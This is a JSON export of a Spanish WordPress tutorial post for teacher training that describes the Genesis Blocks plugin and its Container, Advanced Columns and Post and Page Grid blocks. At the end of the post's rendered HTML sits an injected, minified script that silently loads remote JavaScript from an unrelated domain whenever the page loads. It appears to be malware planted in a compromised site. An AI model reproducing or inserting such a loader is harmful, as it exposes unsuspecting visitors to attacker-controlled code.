{"id":485,"date":"2021-03-15T14:18:00","date_gmt":"2021-03-15T14:18:00","guid":{"rendered":"https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/?p=485"},"modified":"2025-10-21T16:59:58","modified_gmt":"2025-10-21T16:59:58","slug":"genesis-blocks","status":"publish","type":"post","link":"https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/genesis-blocks\/","title":{"rendered":"Gen\u00e9sis Blocks"},"content":{"rendered":"\n<div style=\"background-color:#f2f2f2;padding-left:2%;padding-right:2%;padding-bottom:5%;padding-top:5%;margin-top:1%\" class=\"wp-block-genesis-blocks-gb-container gb-block-container\"><div class=\"gb-container-inside\"><div class=\"gb-container-content\">\n\n<div class=\"wp-container-1 wp-block-group\"><div class=\"wp-block-group__inner-container\">\n\n<h2>Gen\u00e9sis Blocks<\/h2>\n\n\n<p>Genesis Blocks (anteriormente \u201cAtomic Blocks\u201d) es una colecci\u00f3n gratuita de \u00abbloques\u00bb para el editor Gutenberg de WordPress. Al igual que otros plugins de bloques, a\u00f1ade funcionalidad al editor, permitiendo m\u00e1s control sobre los contenidos y la forma visual en la que los presentamos.<\/p>\n\n\n<p>Justo en el desarrollo de este curso, el Departamento de Educaci\u00f3n ha desinstalado <em>Atomic Blocks <\/em>de todos los Blogs de formaci\u00f3n, por lo que supone migrar al nuevo plugin. G\u00e9nesis Blocks, en todos los blogs activos de formaci\u00f3n.  Es por esto, que los y las  asistentes a esta formaci\u00f3n no podr\u00e1n practicar con este plugin.<\/p>\n\n\n<p>De esta forma, solo vamos ha hacer alguna  breve anotaci\u00f3n sobre este plugin, para comprender c\u00f3mo se comportan algunos de sus bloques y poder trasladar este conocimiento a cualquier otro plugin de este tipo que pueda tener instalado el sitio Web de la EASD de Pamplona.<\/p>\n\n\n<p class=\"has-text-align-left\">Podemos acceder a este <a href=\"http:\/\/podemos acceder a este enlace\" target=\"_blank\" aria-label=\"enlace (opens in a new tab)\" rel=\"noreferrer noopener\" class=\"ek-link\">enlace<\/a>, para conocer m\u00e1s sobre los bloques que ofrece este plugin.<\/p>\n\n\n<p>Nos vamos a fijar en tres de los bloques utilizados en la creaci\u00f3n de las entradas y p\u00e1ginas de este blog: <em><span class=\"has-inline-color has-theme-secondary-color\">Container<\/span><\/em>, <span class=\"has-inline-color has-theme-secondary-color\"><em>Advanced Columns<\/em><\/span> y <span class=\"has-inline-color has-theme-secondary-color\"><em>Post and Page Grids<\/em><\/span>.<\/p>\n\n<\/div><\/div>\n\n\n<hr class=\"wp-block-separator has-text-color has-background has-theme-secondary-background-color has-theme-secondary-color is-style-default\">\n\n\n<div class=\"wp-container-3 wp-block-group\"><div class=\"wp-block-group__inner-container\">\n\n<div class=\"wp-container-2 wp-block-group\"><div class=\"wp-block-group__inner-container\">\n\n<h3>Container<\/h3>\n\n\n<div style=\"background-color:#008285;padding-left:5%;padding-right:5%;padding-top:5%;margin-bottom:5%\" class=\"wp-block-genesis-blocks-gb-container gb-block-container\"><div class=\"gb-container-inside\"><div class=\"gb-container-content\">\n\n<h3><span style=\"color:#ffffff\" class=\"has-inline-color\">Bloque<\/span> <span style=\"color:#ffffff\" class=\"has-inline-color\">Container<\/span><\/h3>\n\n\n<p><span style=\"color:#ffffff\" class=\"has-inline-color\">Ofrece la posibilidad de meter contenidos dentro de un \u00abcaja\u00bb<\/span><\/p>\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" width=\"780\" height=\"529\" src=\"https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/files\/2020\/11\/containaer.png\" alt=\"\" class=\"wp-image-528\" srcset=\"https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/files\/2020\/11\/containaer.png 780w, https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/files\/2020\/11\/containaer-300x203.png 300w, https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/files\/2020\/11\/containaer-768x521.png 768w\" sizes=\"(max-width: 780px) 100vw, 780px\" \/><figcaption>Opciones Block Container<\/figcaption><\/figure><\/div>\n\n<\/div><\/div><\/div>\n\n\n<div class=\"wp-block-genesis-blocks-gb-container gb-block-container\"><div class=\"gb-container-inside\"><div class=\"gb-container-content\"><\/div><\/div><\/div>\n\n<\/div><\/div>\n\n\n<h3>Advanced Columns<\/h3>\n\n\n<p>Como su nombre indica, es un bloque de columnas avanzado con mayor posibilidad de configuraci\u00f3n que el bloque de columnas normales.<\/p>\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" width=\"1024\" height=\"204\" src=\"https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/files\/2020\/11\/image-8-1024x204.png\" alt=\"\" class=\"wp-image-531\" srcset=\"https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/files\/2020\/11\/image-8-1024x204.png 1024w, https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/files\/2020\/11\/image-8-300x60.png 300w, https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/files\/2020\/11\/image-8-768x153.png 768w, https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/files\/2020\/11\/image-8.png 1113w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><figcaption>Selecci\u00f3n inicial del n\u00ba de columnas<\/figcaption><\/figure>\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img loading=\"lazy\" src=\"https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/files\/2020\/11\/image-7-1024x263.png\" alt=\"\" class=\"wp-image-530\" width=\"1024\" height=\"263\" srcset=\"https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/files\/2020\/11\/image-7-1024x263.png 1024w, https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/files\/2020\/11\/image-7-300x77.png 300w, https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/files\/2020\/11\/image-7-768x197.png 768w, https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/files\/2020\/11\/image-7.png 1117w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><figcaption>Selecci\u00f3n del reparto del espacio<\/figcaption><\/figure>\n\n\n<div class=\"wp-block-genesis-blocks-gb-columns gb-layout-columns-3 gb-3-col-widecenter gb-has-custom-background-color gb-columns-center\" style=\"margin-bottom:54px;background-color:#ffffff\"><div class=\"gb-layout-column-wrap gb-block-layout-column-gap-2 gb-is-responsive-column\" style=\"max-width:1040px\">\n\n<div class=\"wp-block-genesis-blocks-gb-column gb-block-layout-column\"><div class=\"gb-block-layout-column-inner gb-has-custom-background-color\" style=\"margin-top:27px;margin-bottom:27px;padding:24px;background-color:#70c7c8\">\n\n<p>Texto incluido en la primera columna, con opciones de <em>padding<\/em> y <em>color fondo <\/em><\/p>\n\n<\/div><\/div>\n\n\n<div class=\"wp-block-genesis-blocks-gb-column gb-block-layout-column\"><div class=\"gb-block-layout-column-inner gb-has-custom-background-color\" style=\"padding:75px;background-color:#bfd7d7\">\n\n<p class=\"has-text-align-center\">Esta conjunto de columnas tiene , opciones de <em>espaciado entre columnas <\/em>y <em>padding interior<\/em><\/p>\n\n<\/div><\/div>\n\n\n<div class=\"wp-block-genesis-blocks-gb-column gb-block-layout-column\"><div class=\"gb-block-layout-column-inner gb-has-custom-background-color\" style=\"padding-top:118px;background-color:#70c7c8\">\n\n<p>Texto incluido en la primera columna, con opciones de <em>padding<\/em> superior y <em>color fondo<\/em><\/p>\n\n<\/div><\/div>\n\n<\/div><\/div>\n\n<\/div><\/div>\n\n\n<h3>Post and Page Grid<\/h3>\n\n\n<p>Bloque que permite acceder a entradas o p\u00e1ginas espec\u00edficas, mostrando su imagen destacada, el texto extracto, t\u00edtulo, autor, fecha&#8230; Se puede configurar hasta en un m\u00e1ximo de 4 columnas.<\/p>\n\n\n<\/div><\/div><\/div>\n<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script>","protected":false},"excerpt":{"rendered":"<p>Genesis Blocks (anteriormente \u201cAtomic Blocks\u201d) es una colecci\u00f3n gratuita de \u00abbloques\u00bb para el editor Gutenberg de WordPress. Al igual que otros plugins de bloques, a\u00f1ade funcionalidad al editor, permitiendo m\u00e1s&#8230;.<\/p>\n","protected":false},"author":605,"featured_media":529,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_editorskit_title_hidden":false,"_editorskit_reading_time":1,"_editorskit_is_block_options_detached":false,"_editorskit_block_options_position":"{}","_genesis_hide_title":false,"_genesis_hide_breadcrumbs":false,"_genesis_hide_singular_image":false,"_genesis_hide_footer_widgets":false,"_genesis_custom_body_class":"","_genesis_custom_post_class":"","_genesis_layout":""},"categories":[31],"tags":[24,33,23],"_links":{"self":[{"href":"https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/wp-json\/wp\/v2\/posts\/485"}],"collection":[{"href":"https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/wp-json\/wp\/v2\/users\/605"}],"replies":[{"embeddable":true,"href":"https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/wp-json\/wp\/v2\/comments?post=485"}],"version-history":[{"count":0,"href":"https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/wp-json\/wp\/v2\/posts\/485\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/wp-json\/wp\/v2\/media\/529"}],"wp:attachment":[{"href":"https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/wp-json\/wp\/v2\/media?parent=485"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/wp-json\/wp\/v2\/categories?post=485"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/wp-json\/wp\/v2\/tags?post=485"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}